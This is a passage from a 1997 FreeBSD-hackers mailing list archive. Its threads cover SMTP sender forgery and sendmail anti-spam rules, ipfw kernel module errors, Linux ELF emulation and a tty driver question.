was > the top rated communications program for UNIX systems (beating > out even UUCP) for four years in a row. It was also the first > shrink-wrapped psoftware ever sold for UNIX systems. It could > also emulate a VT100 Terrrrry!!! The name please, i want to know the name! [Das man Dir auch immer alles _einzeln_ aus der Nase ziehen muss ... :-) ] Ehem - and - where can we get the source after all these years now ? ;-) hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Thu Jun 26 13:31:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA10669 for hackers-outgoing; Thu, 26 Jun 1997 13:31:47 -0700 (PDT) Received: from uu4.psi.com (uu4.psi.com [38.146.21.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA10664 for ; Thu, 26 Jun 1997 13:31:44 -0700 (PDT) Received: from uu0672.UUCP by uu4.psi.com (5.65b/4.0.940727-PSI/PSINet) via UUCP; id AA21845 for ; Thu, 26 Jun 97 16:23:58 -0400 Received: from conair.aht.com (rblim) by aht.com (4.1/SMI-4.1) id AA08459; Thu, 26 Jun 97 14:18:05 PDT Message-Id: <33B2CF7A.446B9B3D@aht.com> Date: Thu, 26 Jun 1997 13:22:18 -0700 From: "Randy B. Lymn" Organization: Breakdown X-Mailer: Mozilla 3.0Gold (X11; U; BSD/OS 3.0 i386) Mime-Version: 1.0 To: hackers@FreeBSD.ORG Subject: talking in SMTP Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk hi I got some concerns about talking in SMTP. It seemed that people can just use anonymous name or arbitrary name to send junk mail to other people. Maybe bomb up your mailbox. Are there any ways to validify the sender's email address in "talking in SMTP"? Any ideas? From owner-freebsd-hackers Thu Jun 26 13:37:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA11145 for hackers-outgoing; Thu, 26 Jun 1997 13:37:32 -0700 (PDT) Received: from news1.gtn.com (news1.gtn.com [194.77.0.15]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA11119 for ; Thu, 26 Jun 1997 13:37:12 -0700 (PDT) Received: (from uucp@localhost) by news1.gtn.com (8.7.2/8.7.2) with UUCP id WAA19116 for hackers@FreeBSD.ORG; Thu, 26 Jun 1997 22:30:27 +0200 (MET DST) Received: (from andreas@localhost) by klemm.gtn.com (8.8.5/8.8.5) id WAA15041; Thu, 26 Jun 1997 22:19:34 +0200 (CEST) Message-ID: <19970626221934.55848@klemm.gtn.com> Date: Thu, 26 Jun 1997 22:19:34 +0200 From: Andreas Klemm To: hackers@FreeBSD.ORG Subject: want to add anti spam rules for sendmail to FreeBSD-current ... Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.75 X-Disclaimer: A free society is one where it is safe to be unpopular X-Operating-System: FreeBSD 3.0-CURRENT SMP Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi ! At work I'm currently building up a new Gateway machine based on sendmail and stumbled over the www.sendmail.org pages that finally brought me to the following interesting URL: http://www.harker.com/sendmail/anti-spam/check_mail.html The check_mail rules can be very easily imported into your sendmail.mc file as FEATURE. http://www.idot.aol.com/preferredmail Contains spammer addresses that are collected by AOL from their customers. I'd vote to add the check_mail.m4 feature-file to FreeBSD-current (location: /usr/src/usr.sbin/sendmail/cf/feature/check_mail.m4) as well as an example /etc/check_mail file that contains the most famous spam sites .... (location: /usr/src/etc/check_mail) You need to have direct access to internet, then you can use it if you are talking SMTP directly or if you are using UUCP via TCP. I'd love to see this fine m4 file in FreeBSD and perhaps a sample check_mail file that waits for being enabled ;-) Andreas /// -------------------------------------------------------- SNIP ---- BTW: The check_mail.m4 file does the following: The check_mail ruleset is a ruleset that is used by the SMTP server function of sendmail, sendmail -bd, to check that the sender address, the MAIL From: address, is allowed to send SMTP message to this host. The key to this ruleset is that the results of the ruleset are used for an accept/reject decision. The results are not used to rewrite the address by sendmail. The check_mail ruleset is passed the address found in the MAIL From: command without any focus. This address is tested and if the error mailer is returned from the check_mail ruleset, then the message is rejected, otherwise the results are tossed. This means that you can do any thing with the address you want including setting it to the string "OK" if the sender address is acceptable. (Setting the address to OK is useful when you are looking at debugging information) The nice thing about the check_mail ruleset is that it causes mail to be rejected before it is accepted. This check_mail ruleset accepts mail sent from this host or domain. This includes: The local hostname, $w The class of local hostnames, $=w The local domain name, $m The class of local domain names, $=m The class of domains I masquerade, $=M This check_mail ruleset rejects mail on the following criteria: Bad host or domain names based on DNS canonicalization of the name Non-local addresses hidden behind our host or domain name user%remote.dom@my.dom Specific user addresses Specific hostnames or domain names in the sender address Specific IP addresses or networks in the SMTP client address Specific hostnames or domain names in the SMTP client address The user addresses, hostnames, domain names, IP addresses and networks are stored in a hashed table database (Berkeley db hash, by default) for fast lookup of the names. The value returned by the database is the text of the SMTP error returned to the SMTP client. check_mail Database: The format of the check_mail database is: The lookup key is the address to be rejected The value returned is the error message returned Lookup Key: The key can be one of the following: A specific user address: user@host.dom Only this address is rejected, all other addresses from host.dom are allowed A specific user address is any key that has an @ sign in it. A host or a domain name host01.spam.dom spam.dom All addresses that end with this host or domain name are rejected The mail is rejected if this is either in the MAIL From: address, or it is in the hostname of the connecting SMTP client A IP network number, either one, two or three octets followed by trailing zeros: 123.0.0.0 123.123.0.0 123.123.123.0 All SMTP clients whose IP address starts with these IP network numbers will be rejected. Note that there is no check for correct class of the network entry so an entry 192.0.0.0 would reject all class C networks that start with 192. A specific IP network address: 123.123.123.123 The specific SMTP client whose IP address is 123.123.123.123 Value Returned: The value returned can either be a specific error message for this address or it can be the single word REJECT which will return a generic SMTP error message: 553 Access denied This allows you to tailor your insults to specific spam sites Database Example: key Function: user@host.dom Access denied for user@host.dom host.spam.dom Access denied for host host.spam.dom spam.dom Access denied for domain spam.dom domain 123.0.0.0 Access denied for IP network 123.0.0.0 network 123.123.0.0 Access denied for IP network 123.123.0.0 network 123.123.123.0 Access denied for IP network 123.123.123.0 network 123.123.123.102 Access denied for IP address 123.123.123.123 Where to get a list of domains to ban: AOL maintains their own list of domains that they ban because of a history of spam complaints from their customers. This is their PreferredMail project and is available from: http://www.idot.aol.com/preferredmail (Thanks to David Neff at HP) (Are there any other lists that I don`t know about?) -------------------------------------------------------- SNIP ---- -- Andreas Klemm | klemm.gtn.com - powered by Symmetric MultiProcessor FreeBSD http://www.freebsd.org/~fsmp/SMP/SMP.html http://www.freebsd.org/~fsmp/SMP/benches.html From owner-freebsd-hackers Thu Jun 26 14:18:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA13046 for hackers-outgoing; Thu, 26 Jun 1997 14:18:04 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA13041 for ; Thu, 26 Jun 1997 14:18:00 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id RAA03105; Thu, 26 Jun 1997 17:19:57 -0400 Date: Thu, 26 Jun 1997 17:19:55 -0400 (EDT) From: Ben Black To: "Randy B. Lymn" cc: hackers@FreeBSD.ORG Subject: Re: talking in SMTP In-Reply-To: <33B2CF7A.446B9B3D@aht.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk heh, this happens *all* the time. there is no way to stop it. at least no way currently implemented. so if you get spammed by someone and the return address is usa.net, IT IS PROBABLY FAKE. b3n On Thu, 26 Jun 1997, Randy B. Lymn wrote: > hi > > I got some concerns about talking in SMTP. It seemed that people can > just use anonymous name or arbitrary name to send junk mail to other > people. Maybe bomb up your mailbox. Are there any ways to validify the > sender's email address in "talking in SMTP"? > > Any ideas? > From owner-freebsd-hackers Thu Jun 26 14:48:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA14355 for hackers-outgoing; Thu, 26 Jun 1997 14:48:53 -0700 (PDT) Received: from nemeton.com.au (gw.nemeton.com.au [203.8.3.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id OAA14350 for ; Thu, 26 Jun 1997 14:48:48 -0700 (PDT) Received: (qmail 13845 invoked from network); 26 Jun 1997 21:48:17 -0000 Received: from topaz.nemeton.com.au (203.8.3.18) by nemeton.com.au with SMTP; 26 Jun 1997 21:48:17 -0000 Received: (qmail 316 invoked from network); 26 Jun 1997 21:54:42 -0000 Received: from localhost.nemeton.com.au (127.0.0.1) by localhost.nemeton.com.au with SMTP; 26 Jun 1997 21:54:38 -0000 To: "Randy B. Lymn" cc: hackers@freebsd.org Subject: Re: talking in SMTP In-reply-to: <33B2CF7A.446B9B3D@aht.com> Date: Fri, 27 Jun 1997 07:54:32 +1000 Message-ID: <314.867362072@nemeton.com.au> From: Giles Lean Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [Drifting from the list -- I don't know where to redirect this one.] On Thu, 26 Jun 1997 13:22:18 -0700 "Randy B. Lymn" wrote: > I got some concerns about talking in SMTP. It seemed that people can > just use anonymous name or arbitrary name to send junk mail to other > people. Maybe bomb up your mailbox. Are there any ways to validify the > sender's email address in "talking in SMTP"? You are correct. SMTP provides for no authentication. Mail relaying makes this almost impossible to do. Imagine if I sent this mail to my ISP first instead of directly to you; sendmail at the ISP would relay the mail to you and no amount of cross checking of incoming IP addresses and the mail envelope addresses would match. Some people do have SMTP agents that check that the envelope addresses are at least in the DNS, and others have added blocking of "bad" envelope addresses known to be used by spammers. Adding relay control so that people can't relay such junk *through* your site is nice for the rest of us, but doesn't help you directly. Resources: http://www.sendmail.org Pointers to spam resources for sendmail http://www.qmail.org Qmail is a MTA designed for security and providing relay protection as standard. http://www.obtuse.com/ Look for smtp programs (similar to the TIS firewall toolkit smap and smtpd) they provide some ability to check envelope addresses. http://spam.abuse.net/spam/ The ultimate spam resource. http://www.hormel.com/ More spam than you know what to do with. Even T-shirts. :) Regards, Giles From owner-freebsd-hackers Thu Jun 26 15:44:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA16709 for hackers-outgoing; Thu, 26 Jun 1997 15:44:22 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA16704 for ; Thu, 26 Jun 1997 15:44:18 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id PAA08890; Thu, 26 Jun 1997 15:31:22 -0700 From: Terry Lambert Message-Id: <199706262231.PAA08890@phaeton.artisoft.com> Subject: Re: talking in SMTP To: giles@nemeton.com.au (Giles Lean) Date: Thu, 26 Jun 1997 15:31:22 -0700 (MST) Cc: rblim@aht.com, hackers@FreeBSD.ORG In-Reply-To: <314.867362072@nemeton.com.au> from "Giles Lean" at Jun 27, 97 07:54:32 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I got some concerns about talking in SMTP. It seemed that people can > > just use anonymous name or arbitrary name to send junk mail to other > > people. Maybe bomb up your mailbox. Are there any ways to validify the > > sender's email address in "talking in SMTP"? > > You are correct. SMTP provides for no authentication. RFC821 (the SMTP protocol definition) provides for negative responses to "HELO". Combined with RFC1859 (the ESMTP extension format definition), it is possible to add authentication. It is generally more useful to use RFC1846 ("521" error response) to known SPAM IP address ranges and SPAM domain names, if given. This allows you to give errors to spam sites on initial greeting, or to SPAM sites after they identify themselves via "HELO" or "EHLO". It is also permissibale to give "550" error resonses to the SPAM site as it enters "RCPT TO:" commands to say "No access to mailbox" > Mail relaying makes this almost impossible to do. Imagine if I sent > this mail to my ISP first instead of directly to you; sendmail at the > ISP would relay the mail to you and no amount of cross checking of > incoming IP addresses and the mail envelope addresses would match. Non-local addresses can be responded with "551 User not local". You can give this response for a non-local source address, as well as a non-local target address (ie: you refuse relaying). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 26 16:00:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA17467 for hackers-outgoing; Thu, 26 Jun 1997 16:00:35 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA17457 for ; Thu, 26 Jun 1997 16:00:31 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id XAA10322 for hackers@freebsd.org; Thu, 26 Jun 1997 23:02:01 +0200 (CEST) From: Mikael Karpberg Message-Id: <199706262102.XAA10322@ocean.campus.luth.se> Subject: Linux emulation problem? To: hackers@freebsd.org Date: Thu, 26 Jun 1997 23:02:01 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Umm... I ran into somthing I have no idea what it means: troot@ocean /compat/linux 76# brandelf /compat/linux/sbin/ldconfig File '/compat/linux/sbin/ldconfig' is of brand 'Linux'. troot@ocean /compat/linux 77# /compat/linux/sbin/ldconfig ELF binary type not known Abort troot@ocean /compat/linux 78# Umm... Doesn't FreeBSD support ELF these days? And if not, why is an ELF Linux program shipped in the linux-lib port?! I'm running 2.2-970627-RELENG, if that makes a difference... /Mikael From owner-freebsd-hackers Thu Jun 26 16:04:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA17622 for hackers-outgoing; Thu, 26 Jun 1997 16:04:12 -0700 (PDT) Received: from asimov.io.com.mx (asimov.io.com.mx [200.34.189.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA17616; Thu, 26 Jun 1997 16:04:05 -0700 (PDT) Received: from gateway.intrared.net.mx ([10.0.0.2]) by asimov.io.com.mx (8.6.12/8.6.12) with SMTP id SAA07041; Thu, 26 Jun 1997 18:12:21 GMT Message-Id: <1.5.4.32.19970626200702.0068336c@io.com.mx> X-Sender: agalindo@io.com.mx (Unverified) X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 26 Jun 1997 20:07:02 +0000 To: questions@FreeBSD.org, isp@FreeBSD.org, hackers@FreeBSD.org From: Alejandro Galindo Chairez Subject: ipfw: setsockopt failed Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi I have the next problem: When the "ipfw flush" comand is executed the system send me the message: setsockopt failed or when i executed: ipfw add divert 32000 ip from any to any via ed1 for example the system send me the message 00000 divert 32000 ip from any to any via ed1 ipfw: setsockopt(IP_FW_ADD): Invalid argument Why? and How can i resolv the problem? The system is a FreeBSD 2.2.1 of Walnut Creek CDROM Sorry for my bad english Thanks in advance ---------------------------------------------------------------------------- | , , | | /( )` | | \ \___ / | | | /- _ `-/ ' | | (/\/ \ \ /\ | | ExSoCom Dgo. MEXICO / / | ` \ | | O O ) / | | | `-^--'`< ' | | (_.) _ ) / | | Alejandro Galindo Chairez `.___/` / | | Tel: (18) 179177 `-----' / | | Fax: (18) 179177 <----. __ / __ \ | | <----|====O)))==) \) /==== | | e-mail agalindo@io.com.mx <----' `--' `.__,' \ | | | | | | \ / /\| | ______( (_ / \______/ | | ,' ,-----' | | | a FreeBSD user `--{__________) | ---------------------------------------------------------------------------- From owner-freebsd-hackers Thu Jun 26 16:44:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA19828 for hackers-outgoing; Thu, 26 Jun 1997 16:44:56 -0700 (PDT) Received: from cedb.dpcsys.com (ns2.BEACH.net [209.25.4.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA19822 for ; Thu, 26 Jun 1997 16:44:50 -0700 (PDT) Received: from localhost (dan@localhost) by cedb.dpcsys.com (8.8.5/8.8.2) with SMTP id XAA24517; Thu, 26 Jun 1997 23:44:46 GMT Date: Thu, 26 Jun 1997 16:44:46 -0700 (PDT) From: Dan Busarow cc: "Randy B. Lymn" , hackers@FreeBSD.ORG Subject: Re: talking in SMTP In-Reply-To: <314.867362072@nemeton.com.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 27 Jun 1997, Giles Lean wrote: > [Drifting from the list -- I don't know where to redirect this one.] comp.mail.sendmail :) > On Thu, 26 Jun 1997 13:22:18 -0700 "Randy B. Lymn" wrote: > > > I got some concerns about talking in SMTP. It seemed that people can > > just use anonymous name or arbitrary name to send junk mail to other > > people. Maybe bomb up your mailbox. Are there any ways to validify the > > sender's email address in "talking in SMTP"? > http://www.hormel.com/ > More spam than you know what to do with. Even T-shirts. :) Here's one more, the best one IMO. http://www.informatik.uni-kiel.de/%7Eca/email/check.html Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 From owner-freebsd-hackers Thu Jun 26 16:52:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20500 for hackers-outgoing; Thu, 26 Jun 1997 16:52:06 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20426 for ; Thu, 26 Jun 1997 16:52:00 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id JAA22149; Fri, 27 Jun 1997 09:51:39 +1000 (EST) Date: Fri, 27 Jun 1997 09:51:38 +1000 (EST) From: "Daniel O'Callaghan" To: Alejandro Galindo Chairez cc: freebsd-hackers@freebsd.org Subject: Re: ipfw: setsockopt failed In-Reply-To: <1.5.4.32.19970626200702.0068336c@io.com.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Alejandro Galindo Chairez wrote: > I have the next problem: > > When the "ipfw flush" comand is executed the system send me the message: > setsockopt failed You must (a) build a kernel with IPFIREWALL or ; (b) load the kernel module # modload /lkm/ipfw_mod.o Do not load the LKM across the network - only at the console. When you load the module, all internet access becomes disabled until you enable it with 'ipfw add 65000 allow all from any to any'. I am working on rc.conf changes to make this easier to work with. I'll send them to you when I finish them. BTW, please don't post to three lists at once. Try one. If you get no answer, try another. Danny From owner-freebsd-hackers Thu Jun 26 17:06:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA21240 for hackers-outgoing; Thu, 26 Jun 1997 17:06:58 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.51]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA21234; Thu, 26 Jun 1997 17:06:55 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id UAA22755; Thu, 26 Jun 1997 20:06:31 -0400 (EDT) Date: Thu, 26 Jun 1997 20:06:29 -0400 (EDT) From: Brian Mitchell To: Alejandro Galindo Chairez cc: questions@FreeBSD.ORG, isp@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: ipfw: setsockopt failed In-Reply-To: <1.5.4.32.19970626200702.0068336c@io.com.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Alejandro Galindo Chairez wrote: > Hi > > I have the next problem: > > When the "ipfw flush" comand is executed the system send me the message: > > setsockopt failed > > or when i executed: > > ipfw add divert 32000 ip from any to any via ed1 for example > > the system send me the message > > 00000 divert 32000 ip from any to any via ed1 > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > Why? and How can i resolv the problem? > > The system is a FreeBSD 2.2.1 of Walnut Creek CDROM > > Sorry for my bad english > > Thanks in advance Sounds like you dont have ipfw in the kernel, which you need. You need divert in the kernel to do divert, as well. Rebuild your kernel. Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt From owner-freebsd-hackers Thu Jun 26 17:11:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA21526 for hackers-outgoing; Thu, 26 Jun 1997 17:11:50 -0700 (PDT) Received: from uhf.wdc.net (uhf.wdc.net [198.147.74.44]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA21521; Thu, 26 Jun 1997 17:11:43 -0700 (PDT) Received: from localhost (bad@localhost) by uhf.wdc.net (8.8.5/8.6.12) with SMTP id UAA00742; Thu, 26 Jun 1997 20:11:15 -0400 (EDT) Date: Thu, 26 Jun 1997 20:10:19 -0400 (EDT) From: Bernie Doehner To: Alejandro Galindo Chairez cc: questions@FreeBSD.ORG, isp@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: ipfw: setsockopt failed In-Reply-To: <1.5.4.32.19970626200702.0068336c@io.com.mx> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > ipfw add divert 32000 ip from any to any via ed1 for example > > the system send me the message > > 00000 divert 32000 ip from any to any via ed1 > ipfw: setsockopt(IP_FW_ADD): Invalid argument via is a legal keyword? Bernie From owner-freebsd-hackers Thu Jun 26 17:12:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA21686 for hackers-outgoing; Thu, 26 Jun 1997 17:12:58 -0700 (PDT) Received: from asimov.io.com.mx (asimov.io.com.mx [200.34.189.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id RAA21679 for ; Thu, 26 Jun 1997 17:12:54 -0700 (PDT) Received: from gateway.intrared.net.mx ([10.0.0.2]) by asimov.io.com.mx (8.6.12/8.6.12) with SMTP id TAA07460; Thu, 26 Jun 1997 19:20:34 GMT Message-Id: <1.5.4.32.19970626211515.006868b4@io.com.mx> X-Sender: agalindo@io.com.mx X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 26 Jun 1997 21:15:15 +0000 To: "Daniel O'Callaghan" From: Alejandro Galindo Chairez Subject: Re: ipfw: setsockopt failed Cc: hackers@freebsd.org Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >You must (a) build a kernel with IPFIREWALL or ; (b) load the kernel module > ># modload /lkm/ipfw_mod.o i load the kernel module and it works!!! thanks Saludos Alejandro ---------------------------------------------------------------------------- | , , | | /( )` | | \ \___ / | | | /- _ `-/ ' | | (/\/ \ \ /\ | | ExSoCom Dgo. MEXICO / / | ` \ | | O O ) / | | | `-^--'`< ' | | (_.) _ ) / | | Alejandro Galindo Chairez `.___/` / | | Tel: (18) 179177 `-----' / | | Fax: (18) 179177 <----. __ / __ \ | | <----|====O)))==) \) /==== | | e-mail agalindo@io.com.mx <----' `--' `.__,' \ | | | | | | \ / /\| | ______( (_ / \______/ | | ,' ,-----' | | | a FreeBSD user `--{__________) | ---------------------------------------------------------------------------- From owner-freebsd-hackers Thu Jun 26 17:42:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23147 for hackers-outgoing; Thu, 26 Jun 1997 17:42:59 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23142; Thu, 26 Jun 1997 17:42:56 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA29713; Thu, 26 Jun 1997 17:37:12 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd029708; Fri Jun 27 00:37:06 1997 Message-ID: <33B30AE6.2C67412E@whistle.com> Date: Thu, 26 Jun 1997 17:35:50 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Alejandro Galindo Chairez CC: questions@FreeBSD.ORG, isp@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: ipfw: setsockopt failed References: <1.5.4.32.19970626200702.0068336c@io.com.mx> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > When the "ipfw flush" comand is executed the system send me the message: > > setsockopt failed > > or when i executed: > > ipfw add divert 32000 ip from any to any via ed1 for example > > the system send me the message > > 00000 divert 32000 ip from any to any via ed1 > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > Why? and How can i resolv the problem? > > The system is a FreeBSD 2.2.1 of Walnut Creek CDROM did you compile the kernel with option IPFIREWALL ? From owner-freebsd-hackers Thu Jun 26 18:01:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA24272 for hackers-outgoing; Thu, 26 Jun 1997 18:01:39 -0700 (PDT) Received: from panda.hilink.com.au (panda.hilink.com.au [203.8.15.25]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA24237; Thu, 26 Jun 1997 18:01:25 -0700 (PDT) Received: (from danny@localhost) by panda.hilink.com.au (8.8.5/8.8.5) id LAA22485; Fri, 27 Jun 1997 11:00:35 +1000 (EST) Date: Fri, 27 Jun 1997 11:00:34 +1000 (EST) From: "Daniel O'Callaghan" To: Bernie Doehner cc: questions@FreeBSD.ORG, isp@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: ipfw: setsockopt failed In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 26 Jun 1997, Bernie Doehner wrote: > > > > ipfw add divert 32000 ip from any to any via ed1 for example > > > > the system send me the message > > > > 00000 divert 32000 ip from any to any via ed1 > > ipfw: setsockopt(IP_FW_ADD): Invalid argument > > via is a legal keyword? Yes. Man ipfw. You can say 'ipfw ... in via ed0' 'ipfw ... out via ed0' 'ipfw ... via ed0' (in or out) From owner-freebsd-hackers Thu Jun 26 19:06:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA27875 for hackers-outgoing; Thu, 26 Jun 1997 19:06:52 -0700 (PDT) Received: from spoon.beta.com (root@[199.165.180.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA27840 for ; Thu, 26 Jun 1997 19:06:32 -0700 (PDT) Received: from spoon.beta.com (mcgovern@localhost [127.0.0.1]) by spoon.beta.com (8.8.5/8.8.5) with ESMTP id WAA15211 for ; Thu, 26 Jun 1997 22:06:29 -0400 (EDT) Message-Id: <199706270206.WAA15211@spoon.beta.com> To: hackers@freebsd.org Subject: XON/XOFF intrusion... Date: Thu, 26 Jun 1997 22:06:28 -0400 From: "Brian J. McGovern" Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'm having a problem with a driver where XON and XOFFs are being introduced to the data stream, even when I have IXON, IXOFF, and IXANY turned off in c_iflag. I'm trying to track down the introduction of the spurious data, and I just wanted to know if ttyblock() is the only function that will do this, or if there are others that might behave this way. This way, I can look for calls to ttyblock() and see on what conditions it gets called. I know (through programming and printf()s) that c_iflag has the above mentioned bits off, and that ((tp->t_rawq + tp->t_canq) < (TTYHOG / 2)). If anyone who is familiar with this code has any comments or suggestions, I'd appreciate it :) -Brian From owner-freebsd-hackers Thu Jun 26 19:07:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA27918 for hackers-outgoing; Thu, 26 Jun 1997 19:07:08 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA27885 for ; Thu, 26 Jun 1997 19:06:55 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA08899; Fri, 27 Jun 1997 11:35:43 +0930 (CST) From: Michael Smith Message-Id: <199706270205.LAA08899@genesis.atrad.adelaide.edu.au> Subject: Re: Disk built-in hw cache In-Reply-To: from Andrzej Bialecki at "Jun 26, 97 05:37:57 pm" To: abial@korin.warman.org.pl (Andrzej Bialecki) Date: Fri, 27 Jun 1997 11:35:42 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Andrzej Bialecki stands accused of saying: > > I just read certain discussion on Linux list concerning > bad/missing/removed disk cache in "repaired" (and sold as new) hard disks. > Linux prints during probing the size of disk cache (at least that what the > hd will tell it). How to achieve the same result in FreeBSD? There is a > #ifdef WDDEBUG flag in wd.c, around some interesting printfs. Will it give > me this info? Uhh, this sounds pretty bogus. Do you have 